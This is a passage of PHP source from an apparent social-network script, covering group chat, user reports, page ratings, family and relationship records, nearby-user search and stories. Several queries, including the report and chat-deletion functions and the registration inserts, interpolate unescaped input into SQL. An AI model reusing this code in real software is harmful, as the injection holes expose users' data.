Wo_GetPostReactionsTypes($fetched_data['id'], 'message'); $data = $fetched_data; } return $data; } function Wo_GetChatGroups($after_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user = Wo_Secure($wo['user']['id']); $data = array(); $sub_sql = ''; if ($after_id && is_numeric($after_id) && $after_id > 0) { $sub_sql = " AND `group_id` > {$after_id} AND `group_id` <> {$after_id} "; } $sql = "SELECT * FROM " . T_GROUP_CHAT . " WHERE (`user_id` = {$user} OR `group_id` IN (SELECT `group_id` FROM Wo_GroupChatUsers WHERE `user_id` = {$user} AND active = 1)) {$sub_sql} ORDER BY `time` DESC"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['owner'] = ($fetched_data['user_id'] == $user) ? true : false; $fetched_data['last_message'] = Wo_GetChatGroupLastMessage($fetched_data['group_id']); $fetched_data['parts'] = Wo_GetGChatMemebers($fetched_data['group_id']); $fetched_data['avatar'] = Wo_GetMedia($fetched_data['avatar']); $fetched_data['last_seen'] = Wo_CheckLastGroupAction(); $data[] = $fetched_data; } } return $data; } // group data function Wo_GetChatGroupData($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || empty($id) || !is_numeric($id) || $id < 1) { return false; } $user = Wo_Secure($wo['user']['id']); $id = Wo_Secure($id); $data = array(); $sql = "SELECT * FROM " . T_GROUP_CHAT . " WHERE (`user_id` = {$user} OR `group_id` IN (SELECT `group_id` FROM Wo_GroupChatUsers WHERE `user_id` = {$user})) AND `group_id` = {$id}"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['owner'] = ($fetched_data['user_id'] == $user) ? true : false; $fetched_data['last_message'] = Wo_GetChatGroupLastMessage($fetched_data['group_id']); $fetched_data['parts'] = Wo_GetGChatMemebers($fetched_data['group_id']); $fetched_data['avatar'] = Wo_GetMedia($fetched_data['avatar']); $fetched_data['last_seen'] = Wo_CheckLastGroupAction(); $data[] = $fetched_data; } } return $data; } // group data function Wo_CheckLastGroupAction() { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user = $wo['user']['id']; $groups = array(); $time = time(); $sql = "SELECT `last_seen`,`group_id` FROM " . T_GROUP_CHAT_USERS . " WHERE `user_id` = {$user}"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $last_message = Wo_GetChatGroupLastMessage($fetched_data['group_id']); if (!empty($last_message) && isset($last_message['time']) && isset($last_message['from_id'])) { if ($last_message['time'] > $fetched_data['last_seen'] && $last_message['from_id'] != $user) { $groups[] = $fetched_data['group_id']; } } } } return $groups; } function Wo_CheckLastGroupUnread() { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user = $wo['user']['id']; $groups = array(); $time = time(); $sql = "SELECT `last_seen`,`group_id` FROM " . T_GROUP_CHAT_USERS . " WHERE `user_id` = {$user} AND `active` = '1' "; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $last_message = Wo_GetChatGroupLastMessage($fetched_data['group_id']); if (!empty($last_message) && isset($last_message['time']) && isset($last_message['from_id']) && $last_message['from_id'] != $wo['user']['id']) { if ($last_message['time'] >= $fetched_data['last_seen']) { $groups[] = $fetched_data['group_id']; } } } } return $groups; } function Wo_GetGChatMemebers($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $id = Wo_Secure($id); $data = array(); $sql = " SELECT `user_id` FROM " . T_GROUP_CHAT_USERS . " WHERE `group_id` = {$id} AND `active` = '1'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = Wo_UserData($fetched_data['user_id']); } } return $data; } function Wo_IsGChatMemebers($group_id) { global $sqlConnect, $wo, $db; if ($wo['loggedin'] == false || empty($group_id)) { return false; } $id = Wo_Secure($group_id); $user_id = $wo['user']['id']; $count = $db->where('user_id', $user_id)->where('group_id', $id)->where('active', 1)->getValue(T_GROUP_CHAT_USERS, 'COUNT(*)'); if ($count > 0) { return true; } return false; } function Wo_CountGroupChatRequests() { global $sqlConnect, $wo, $db; if ($wo['loggedin'] == false) { return false; } $user_id = $wo['user']['id']; $count = $db->where('user_id', $user_id)->where('active', '0')->where('last_seen', '0')->getValue(T_GROUP_CHAT_USERS, 'COUNT(*)'); return $count; } function Wo_ClearGChat($group_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !Wo_IsGChatOwner($group_id)) { return false; } return mysqli_query($sqlConnect, "DELETE FROM " . T_MESSAGES . " WHERE `group_id` = {$group_id}"); } function Wo_DeleteGChat($group_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !Wo_IsGChatOwner($group_id)) { return false; } @mysqli_query($sqlConnect, "DELETE FROM " . T_MESSAGES . " WHERE `group_id` = {$group_id}"); @mysqli_query($sqlConnect, "DELETE FROM " . T_GROUP_CHAT_USERS . " WHERE `group_id` = {$group_id}"); return mysqli_query($sqlConnect, "DELETE FROM " . T_GROUP_CHAT . " WHERE `group_id` = {$group_id}"); } function Wo_ExitGChat($group_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$group_id || $group_id < 1) { return false; } $user = Wo_Secure($wo['user']['id']); @mysqli_query($sqlConnect, "DELETE FROM " . T_MESSAGES . " WHERE `group_id` = {$group_id} AND `from_id` = {$user}"); return mysqli_query($sqlConnect, "DELETE FROM " . T_GROUP_CHAT_USERS . " WHERE `group_id` = {$group_id} AND `user_id` = {$user}"); } function Wo_IsGChatMemeberExists($group_id = false, $user_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$group_id || $group_id < 1) { return false; } $user = Wo_Secure($user_id); $group = Wo_Secure($group_id); if ($user_id === false) { $user = $wo['user']['user_id']; } $sql = " SELECT `id` FROM " . T_GROUP_CHAT_USERS . " WHERE `user_id` = {$user} AND `group_id` = {$group}"; $data_rows = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($data_rows) > 0; } function Wo_AddGChatPart($group_id = false, $user_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$group_id || !$user_id) { return false; } $group = Wo_Secure($group_id); $user = Wo_Secure($user_id); $code = 0; if (!Wo_IsGChatOwner($group)) { return false; } if (Wo_IsGChatMemeberExists($group, $user)) { @mysqli_query($sqlConnect, "DELETE FROM " . T_GROUP_CHAT_USERS . " WHERE `user_id` = {$user} AND `group_id` = {$group}"); $code = 0; } else { @mysqli_query($sqlConnect, "INSERT INTO " . T_GROUP_CHAT_USERS . " (`id`,`user_id`,`group_id`,`last_seen`,`active`) VALUES (null,$user,$group,'0','0')"); $code = 1; } return $code; } function Wo_ReportUser($user = false, $text = '') { global $sqlConnect, $wo, $db; if ($wo['loggedin'] == false || !$user) { return false; } if ($user == $wo['user']['id']) { return false; } $user_id = $wo['user']['id']; $time = time(); $code = null; if (!Wo_IsReportExists($user, 'user')) { $sql = " INSERT INTO " . T_REPORTS . " (`id`,`profile_id`,`user_id`,`text`,`time`) VALUES (null,'$user','$user_id','$text','$time')"; @mysqli_query($sqlConnect, $sql); $code = 1; $notification_data_array = array( 'recipient_id' => 0, 'type' => 'report', 'time' => time(), 'admin' => 1 ); $db->insert(T_NOTIFICATION, $notification_data_array); } else { $sql = " DELETE FROM " . T_REPORTS . " WHERE `user_id` = {$user_id} AND `profile_id` = {$user} "; @mysqli_query($sqlConnect, $sql); $code = 0; } return $code; } function Wo_ReportPage($page = false, $text = '') { global $sqlConnect, $wo, $db; if ($wo['loggedin'] == false || !$page) { return false; } $user = $wo['user']['id']; $page_data = Wo_PageData($page); if (!is_array($page_data) || !isset($page_data['user_id'])) { return false; } if ($page_data['user_id'] == $wo['user']['id']) { return false; } $user_id = $wo['user']['id']; $time = time(); $code = null; if (!Wo_IsReportExists($page, 'page')) { $sql1 = " INSERT INTO " . T_REPORTS . " (`id`,`page_id`,`user_id`,`text`,`time`) VALUES (null,'$page','$user_id','$text','$time')"; @mysqli_query($sqlConnect, $sql1); $code = 1; $notification_data_array = array( 'recipient_id' => 0, 'type' => 'report', 'time' => time(), 'admin' => 1 ); $db->insert(T_NOTIFICATION, $notification_data_array); } else { $sql2 = " DELETE FROM " . T_REPORTS . " WHERE `user_id` = {$user_id} AND `page_id` = {$page} "; @mysqli_query($sqlConnect, $sql2); $code = 0; } return $code; } function Wo_ReportGroup($group = false, $text = '') { global $sqlConnect, $wo, $db; if ($wo['loggedin'] == false || !$group) { return false; } $user = $wo['user']['id']; $group_data = Wo_GroupData($group); if (!is_array($group_data) || !isset($group_data['user_id'])) { return false; } if ($group_data['user_id'] == $wo['user']['id']) { return false; } $user_id = $wo['user']['id']; $time = time(); $code = null; if (!Wo_IsReportExists($group, 'group')) { $sql1 = " INSERT INTO " . T_REPORTS . " (`id`,`group_id`,`user_id`,`text`,`time`) VALUES (null,'$group','$user_id','$text','$time')"; @mysqli_query($sqlConnect, $sql1); $code = 1; $notification_data_array = array( 'recipient_id' => 0, 'type' => 'report', 'time' => time(), 'admin' => 1 ); $db->insert(T_NOTIFICATION, $notification_data_array); } else { $sql2 = " DELETE FROM " . T_REPORTS . " WHERE `user_id` = {$user_id} AND `group_id` = {$group} "; @mysqli_query($sqlConnect, $sql2); $code = 0; } return $code; } function Wo_IsPageRatingExists($page_id = false, $user_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($user_id) || !is_numeric($page_id)) { return false; } $sql = " SELECT `id` FROM " . T_PAGE_RATING . " WHERE `user_id` = {$user_id} AND `page_id` = {$page_id} "; $data_rows = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($data_rows) > 0; } function Wo_RatePage($page_id = false, $value = false, $text = '') { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$page_id || !$value) { return false; } if (!is_numeric($page_id) || $page_id < 1 || !is_numeric($value) || $value < 0) { return false; } $value = Wo_Secure($value); $page_id = Wo_Secure($page_id); $text = Wo_Secure($text); $user = $wo['user']['id']; $rate = false; if (Wo_IsPageRatingExists($page_id, $user)) { return false; } return mysqli_query($sqlConnect, "INSERT INTO " . T_PAGE_RATING . " (`user_id`,`page_id`,`valuation`,`review`) VALUES ('$user','$page_id','$value','$text')"); } function Wo_PageRating($page_id = false, $user_id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$page_id || !is_numeric($page_id)) { return false; } $sql = " SELECT `valuation` FROM " . T_PAGE_RATING . " WHERE `page_id` = {$page_id}"; if (!empty($user_id) && is_numeric($user_id)) { $sql .= " AND user_id = '{$user_id}'"; } $query = mysqli_query($sqlConnect, $sql); $one = 0; $two = 0; $three = 0; $four = 0; $five = 0; if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { if ($fetched_data['valuation'] == 1) { $one += $fetched_data['valuation']; } else if ($fetched_data['valuation'] == 2) { $two += $fetched_data['valuation']; } else if ($fetched_data['valuation'] == 3) { $three += $fetched_data['valuation']; } else if ($fetched_data['valuation'] == 4) { $four += $fetched_data['valuation']; } else { $five += $fetched_data['valuation']; } } } if (($five + $four + $three + $two + $one) > 0) { return ($five * 5 + $four * 4 + $three * 3 + $two * 2 + $one * 1) / ($five + $four + $three + $two + $one); } else { return 0; } } function Wo_GetPageReviews($page_id = false, $after_id = false, $limit = 1) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$page_id || !is_numeric($page_id)) { return false; } $page_id = Wo_Secure($page_id); $sub_sql = ''; $data = array(); if ($after_id && is_numeric($after_id) && $after_id > 0) { $sub_sql = " AND `id` < '$after_id' AND `id` <> '$after_id' "; } $limit = Wo_Secure($limit); $sql = " SELECT * FROM " . T_PAGE_RATING . " WHERE `page_id` = {$page_id} {$sub_sql} ORDER BY `id` DESC LIMIT {$limit}"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $data[] = $fetched_data; } } return $data; } function Wo_RegisterFamilyMember($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_array($registration_data) || empty($registration_data)) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $sql = "INSERT INTO " . T_FAMILY . " ({$fields}) VALUES ({$data})"; $query = mysqli_query($sqlConnect, $sql); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_DeleteFamilyMember($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id) { return false; } $user = $wo['user']['id']; $sql = "DELETE FROM " . T_FAMILY . " WHERE (`member_id` = '$id' AND `user_id` = '$user') OR (`member_id` = '$user' AND `user_id` = '$id') "; return mysqli_query($sqlConnect, $sql); } function Wo_AcceptFamilyMember($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id) { return false; } $user = $wo['user']['id']; $sql = "UPDATE " . T_FAMILY . " SET `active` = '1' WHERE (`member_id` = '$id' AND `user_id` = '$user') OR (`member_id` = '$user' AND `user_id` = '$id') "; return mysqli_query($sqlConnect, $sql); } function Wo_AcceptRelationRequest($id = false, $member = fasle, $type = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !$member || !$type) { return false; } $user = $wo['user']['id']; $sql = "UPDATE " . T_REL_SHIP . " SET `active` = '1' WHERE `id` = '$id'"; $sql2 = "DELETE FROM " . T_REL_SHIP . " WHERE (`from_id` = '$user' OR `to_id` = '$user' OR `from_id` = '$member' OR `to_id` = '$member') AND `id` <> '$id'"; $sql3 = "UPDATE " . T_REL_SHIP . " SET `relationship_id` = '$type' WHERE `user_id` = '$member'"; @mysqli_query($sqlConnect, $sql2); @mysqli_query($sqlConnect, $sql3); return mysqli_query($sqlConnect, $sql); } function Wo_DeleteMyRelationShip() { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user = $wo['user']['id']; $sql = "DELETE FROM " . T_REL_SHIP . " WHERE `from_id` = '$user' OR `to_id` = '$user'"; return mysqli_query($sqlConnect, $sql); } function Wo_DeleteRelationRequest($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id) { return false; } $user = $wo['user']['id']; $sql = "SELECT `id` FROM " . T_REL_SHIP . " WHERE `id` = '$id' AND `to_id` = '$user' "; $data = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($data) > 0) { return mysqli_query($sqlConnect, "DELETE FROM " . T_REL_SHIP . " WHERE `id` = '$id'"); } return false; } function Wo_IsRelationRequestExists($from_id = false, $to_id = false, $type = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$from_id || !$to_id || !$type) { return false; } $to_id = Wo_Secure($to_id); $from_id = Wo_Secure($from_id); $sql = "SELECT `id` FROM " . T_REL_SHIP . " WHERE (`from_id` = '$from_id' AND `to_id` = '$to_id') OR (`to_id` = '$from_id' AND `from_id` = '$to_id') AND `active` = '0' AND `relationship` = '$type'"; $data = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($data) > 0; } function Wo_IsFamilyMemberExists($user_id = false, $member_id = false, $active = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($user_id) || !is_numeric($member_id)) { return false; } $sub_sql = ''; if ($active === 1 || $active === 0) { $sub_sql = " AND `active` = '$active' "; } $sql = " SELECT `id` FROM " . T_FAMILY . " WHERE `user_id` = {$user_id} AND `member_id` = {$member_id} {$sub_sql}"; $data_rows = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($data_rows) > 0; } function Wo_GetFamalyMember($member_id = false, $user_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($user_id) || !is_numeric($member_id)) { return false; } $sql = " SELECT * FROM " . T_FAMILY . " WHERE `user_id` = {$user_id} AND `member_id` = {$member_id} LIMIT 1"; $status = ''; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query) > 0) { $fetched_data = mysqli_fetch_assoc($query); if ($fetched_data['active'] == 1) { $status = $wo['lang'][$wo['family'][$fetched_data['member']]]; } else { $pendind = $wo['lang']['pending']; $status = $wo['lang'][$wo['family'][$fetched_data['member']]] . " ($pendind) "; } } return $status; } function Wo_GetFamaly($user_id = false, $after_id = false, $active = 1, $requests = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || ($active != 1 && $active != 0)) { return false; } $user = Wo_Secure($user_id); $data = array(); if (!is_numeric($user_id) || $user_id < 1) { $user = $wo['user']['id']; } $subquery = ''; if ($after_id && is_numeric($after_id) && $after_id > 0) { $subquery = " AND `id` < '$after_id' AND `id` <> '$after_id' "; } $sql = "SELECT * FROM " . T_FAMILY . " WHERE `user_id` = '$user' {$subquery} AND `active` = '$active' ORDER BY `id` DESC "; if ($requests) { $sql = "SELECT * FROM " . T_FAMILY . " WHERE `member_id` = '$user' {$subquery} AND `active` = '$active' AND `requesting` <> '$user' ORDER BY `id` DESC"; } $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $user_data = ($requests == true) ? $fetched_data['user_id'] : $fetched_data['member_id']; $fetched_data['user_data'] = Wo_UserData(($user_data)); $fetched_data['type'] = 'family'; $data[] = $fetched_data; } } $sql = " SELECT * FROM " . T_REL_SHIP . " WHERE `to_id` = '$user' AND `active` = '0' ORDER BY `id` DESC "; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['from_id']); $fetched_data['type'] = 'rel_ship'; $data[] = $fetched_data; } } return $data; } function Wo_RegisterRelationship($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_array($registration_data) || empty($registration_data)) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $sql = "INSERT INTO " . T_REL_SHIP . " ({$fields}) VALUES ({$data})"; $query = mysqli_query($sqlConnect, $sql); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_UserRelationship($user = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user = Wo_Secure($user); if (!$user || !is_numeric($user) || $user < 1) { $user = $wo['user']['id']; } $user_data = Wo_UserData($user); $sql = "SELECT * FROM " . T_REL_SHIP . " WHERE (`from_id` = '$user' OR `to_id` = '$user') AND `active` = '1' LIMIT 1"; $query = mysqli_query($sqlConnect, $sql); $relation = ''; if (mysqli_num_rows($query) > 0) { $fetched_data = mysqli_fetch_assoc($query); $with_id = ($fetched_data['to_id'] == $user) ? $fetched_data['from_id'] : $fetched_data['to_id']; $with_data = Wo_UserData($with_id); if ($fetched_data['relationship'] == 1) { $relation = $wo['relationship'][1]; } if ($fetched_data['relationship'] == 2) { $relation = $wo['lang']['relation_with'] . ' @' . $with_data['name']; } else if ($fetched_data['relationship'] == 3) { $relation = $wo['lang']['married_to'] . ' @' . $with_data['name']; } else if ($fetched_data['relationship'] == 4) { $relation = $wo['lang']['engaged_to'] . ' @' . $with_data['name']; } } else if (array_key_exists($user_data['relationship_id'], $wo['relationship'])) { $relation = $wo['relationship'][$user_data['relationship_id']]; } return $relation; } function GetUserAge($birthday = false) { global $wo; if ($wo['loggedin'] == false || !$birthday || $birthday < 1) { return false; } $user_age = ''; try { $birthday = date("Y-m-d", strtotime($birthday)); $birthday_obj = new DateTime($birthday); $current_date = new DateTime(); $age = $birthday_obj->diff($current_date); $years = $age->y; if ($years) { $user_age = $age->y . ' ' . $wo['lang']['years_old']; } } catch (Exception $e) { } return $user_age; } function Wo_GetUserCountryName($user_data = array()) { global $wo; if ($wo['loggedin'] == false || empty($user_data)) { return false; } $age = GetUserAge($user_data['birthday']); $user_from = (!empty($age)) ? $age : ''; if ($user_data['country_id'] > 0 && in_array($user_data['country_id'], array_keys($wo['countries_name']))) { $user_from_arr = array( 0 => $user_from, 1 => $user_data['address'], 2 => $wo['countries_name'][$user_data['country_id']] ); $data = array(); foreach ($user_from_arr as $value) { if ($value) { $data[] = $value; } } $user_from = implode(', ', $data); } return $user_from; } function Wo_GetNearbyUsers($args = array()) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($args)) { return false; } $options = array( "offset" => false, "gender" => false, "name" => false, "distance" => false, "relship" => false, "status" => false, "limit" => 20 ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $gender = Wo_Secure($args['gender']); $name = Wo_Secure($args['name']); $loc_distance = Wo_Secure($args['distance']); $status = Wo_Secure($args['status']); $relship = Wo_Secure($args['relship']); $limit = Wo_Secure($args['limit']); $unit = 6371; $user_lat = $wo['user']['lat']; $user_lng = $wo['user']['lng']; $user = $wo['user']['id']; $t_users = T_USERS; $t_followers = T_FOLLOWERS; $distance = 25; $data = array(); $sub_sql = ""; if ($loc_distance && is_numeric($loc_distance) && $loc_distance > 0) { $distance = $loc_distance; } if ($name) { $name = Wo_Secure($name); $sub_sql .= " AND (`username` LIKE '%$name%' OR `first_name` LIKE '%$name%' OR `last_name` LIKE '%$name%') "; } if (isset($status) && $status != false) { if ($status == 1) { $time = time() - 60; $sub_sql .= " AND `lastseen` > '$time'"; } else if ($status == 0) { $time = time() - 60; $sub_sql .= " AND `lastseen` < '$time'"; } } if ($relship && in_array($relship, array_keys($wo['relationship']))) { $sub_sql .= " AND `relationship_id` = '$relship' "; } if ($offset && is_numeric($offset) && $offset > 0) { $sub_sql .= " AND `user_id` < '$offset' AND `user_id` <> '$offset' "; } if ($gender && in_array($gender, array_keys($wo['genders']))) { $sub_sql .= " AND `gender` = '$gender' "; } $sql = " SELECT `user_id`, ( {$unit} * acos(cos(radians('$user_lat')) * cos(radians(lat)) * cos(radians(lng) - radians('$user_lng')) + sin(radians('$user_lat')) * sin(radians(lat ))) ) AS distance FROM $t_users WHERE `user_id` <> '$user' {$sub_sql} AND `user_id` NOT IN (SELECT `follower_id` FROM $t_followers WHERE `follower_id` <> {$user} AND `following_id` = {$user} AND `active` = '1') AND `user_id` NOT IN (SELECT `following_id` FROM $t_followers WHERE `follower_id` = {$user} AND `following_id` <> {$user} AND `active` = '1') AND `lat` <> 0 AND `lng` <> 0 HAVING distance < '$distance' ORDER BY `user_id` DESC LIMIT 0, $limit "; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['user_data']['age'] = Wo_GetUserCountryName($fetched_data['user_data']); $fetched_data['user_geoinfo'] = $fetched_data['user_data']['lat'] . ',' . $fetched_data['user_data']['lng']; if ($fetched_data['user_data']['share_my_location'] == 1) { $data[] = $fetched_data; } } } return $data; } function Wo_GetNearbyUsersCount($args = array()) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($args)) { return false; } $options = array( "offset" => false, "gender" => false, "name" => false, "distance" => false, "relship" => false, "status" => false, "limit" => 20 ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $gender = Wo_Secure($args['gender']); $name = Wo_Secure($args['name']); $loc_distance = Wo_Secure($args['distance']); $status = Wo_Secure($args['status']); $relship = Wo_Secure($args['relship']); $limit = Wo_Secure($args['limit']); $unit = 6371; $user_lat = $wo['user']['lat']; $user_lng = $wo['user']['lng']; $user = $wo['user']['id']; $t_users = T_USERS; $t_followers = T_FOLLOWERS; $distance = 25; $data = array(); $sub_sql = ""; if ($loc_distance && is_numeric($loc_distance) && $loc_distance > 0) { $distance = $loc_distance; } if ($name) { $name = Wo_Secure($name); $sub_sql .= " AND (`username` LIKE '%$name%' OR `first_name` LIKE '%$name%' OR `last_name` LIKE '%$name%') "; } if (isset($status) && $status != false) { if ($status == 1) { $time = time() - 60; $sub_sql .= " AND `lastseen` > '$time'"; } else if ($status == 0) { $time = time() - 60; $sub_sql .= " AND `lastseen` < '$time'"; } } if ($relship && in_array($relship, array_keys($wo['relationship']))) { $sub_sql .= " AND `relationship_id` = '$relship' "; } if ($offset && is_numeric($offset) && $offset > 0) { $sub_sql .= " AND `user_id` < '$offset' AND `user_id` <> '$offset' "; } if ($gender && in_array($gender, array_keys($wo['genders']))) { $sub_sql .= " AND `gender` = '$gender' "; } $sql = " SELECT COUNT(user_id), ( {$unit} * acos(cos(radians('$user_lat')) * cos(radians(lat)) * cos(radians(lng) - radians('$user_lng')) + sin(radians('$user_lat')) * sin(radians(lat ))) ) AS distance FROM $t_users WHERE `user_id` <> '$user' {$sub_sql} AND `user_id` NOT IN (SELECT `follower_id` FROM $t_followers WHERE `follower_id` <> {$user} AND `following_id` = {$user} AND `active` = '1') AND `user_id` NOT IN (SELECT `following_id` FROM $t_followers WHERE `follower_id` = {$user} AND `following_id` <> {$user} AND `active` = '1') AND `lat` <> 0 AND `lng` <> 0 GROUP BY user_id HAVING distance < '$distance' ORDER BY `user_id` DESC "; $query = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($query); } function Wo_CountStories($user_id = 0) { global $wo, $sqlConnect; if ($wo['loggedin'] == false) { return false; } if (empty($user_id)) { $user_id = $wo['user']['user_id']; } $data = array(); $user_id = Wo_Secure($user_id); $query = "SELECT COUNT(*) as count FROM " . T_USER_STORY . " WHERE (user_id IN (SELECT following_id FROM " . T_FOLLOWERS . " WHERE follower_id = '$user_id') OR user_id = $user_id) AND user_id IN (SELECT user_id FROM " . T_USERS . " WHERE active = '1') ORDER BY id DESC"; $query_run = mysqli_query($sqlConnect, $query); $fetched_data = mysqli_fetch_assoc($query_run); return $fetched_data['count']; } function Wo_GetFriendsStatus($data_array = array('limit' => 8, 'user_id' => 0, 'offset' => 0)) { global $wo, $sqlConnect; if ($wo['loggedin'] == false) { return false; } if (empty($data_array['user_id'])) { $data_array['user_id'] = $wo['user']['user_id']; } $data = array(); $user_id = Wo_Secure($data_array['user_id']); $group_by = "GROUP BY user_id"; if (!empty($data_array['api'])) { $group_by = ""; } $offset_query = ""; if (!empty($data_array['offset'])) { $offset = Wo_Secure($data_array['offset']); $offset_query = " AND `id` < $offset "; } // $query = "SELECT * FROM " . T_USER_STORY . " WHERE (user_id IN (SELECT following_id FROM " . T_FOLLOWERS . " WHERE follower_id = '$user_id') OR user_id = $user_id) AND user_id IN (SELECT user_id FROM " . T_USERS . " WHERE active = '1') $group_by ORDER BY id DESC"; $query = "SELECT DISTINCT user_id,title,description,posted,expire,thumbnail,(SELECT MAX(us.id) FROM " . T_USER_STORY . " us WHERE us.user_id = " . T_USER_STORY . ".user_id) AS id FROM " . T_USER_STORY . " WHERE (user_id IN (SELECT following_id FROM " . T_FOLLOWERS . " WHERE follower_id = '$user_id') OR user_id = $user_id) AND user_id IN (SELECT user_id FROM " . T_USERS . " WHERE active = '1') $offset_query $group_by ORDER BY id DESC LIMIT " . $data_array['limit']; $query_run = mysqli_query($sqlConnect, $query); while ($fetched_data = mysqli_fetch_assoc($query_run)) { $story_images = Wo_GetStoryMedia($fetched_data['id'], 'image'); $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); if (empty($fetched_data['thumbnail'])) { $fetched_data['thumb']['filename'] = $fetched_data['user_data']['avatar_org']; } else { $fetched_data['thumb'] = array(); $fetched_data['thumb']['filename'] = $fetched_data['thumbnail']; } $fetched_data['thumb']['filename'] = Wo_GetMedia($fetched_data['thumb']['filename']); $fetched_data['videos'] = Wo_GetStoryMedia($fetched_data['id'], 'video'); $fetched_data['is_owner'] = ($fetched_data['user_id'] == $wo['user']['id'] || Wo_IsAdmin() || Wo_IsModerator()) ? true : false; $data[] = $fetched_data; } return $data; } function Wo_GetFriendsStatusAPI($data_array = array('limit' => 8, 'user_id' => 0, 'offset' => 0)) { global $wo, $sqlConnect; if ($wo['loggedin'] == false) { return false; } if (empty($data_array['user_id'])) { $data_array['user_id'] = $wo['user']['user_id']; } $data = array(); $user_id = Wo_Secure($data_array['user_id']); $group_by = "GROUP BY user_id"; if (!empty($data_array['api'])) { $group_by = ""; } $offset_query = ""; if (!empty($data_array['offset'])) { $offset = Wo_Secure($data_array['offset']); $offset_query = " AND `user_id` < $offset "; } // $query = "SELECT * FROM " . T_USER_STORY . " WHERE (user_id IN (SELECT following_id FROM " . T_FOLLOWERS . " WHERE follower_id = '$user_id') OR user_id = $user_id) AND user_id IN (SELECT user_id FROM " . T_USERS . " WHERE active = '1') $group_by ORDER BY id DESC"; $query = "SELECT DISTINCT user_id,title,description,posted,expire,thumbnail,(SELECT MAX(us.id) FROM " . T_USER_STORY . " us WHERE us.user_id = " . T_USER_STORY . ".user_id) AS id FROM " . T_USER_STORY . " WHERE (user_id IN (SELECT following_id FROM " . T_FOLLOWERS . " WHERE follower_id = '$user_id') OR user_id = $user_id) AND user_id IN (SELECT user_id FROM " . T_USERS . " WHERE active = '1') $offset_query $group_by ORDER BY user_id DESC LIMIT " . $data_array['limit']; $query_run = mysqli_query($sqlConnect, $query); while ($fetched_data = mysqli_fetch_assoc($query_run)) { $story_images = Wo_GetStoryMedia($fetched_data['id'], 'image'); $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); if (empty($fetched_data['thumbnail'])) { $fetched_data['thumb']['filename'] = $fetched_data['user_data']['avatar_org']; } else { $fetched_data['thumb'] = array(); $fetched_data['thumb']['filename'] = $fetched_data['thumbnail']; } $fetched_data['thumb']['filename'] = 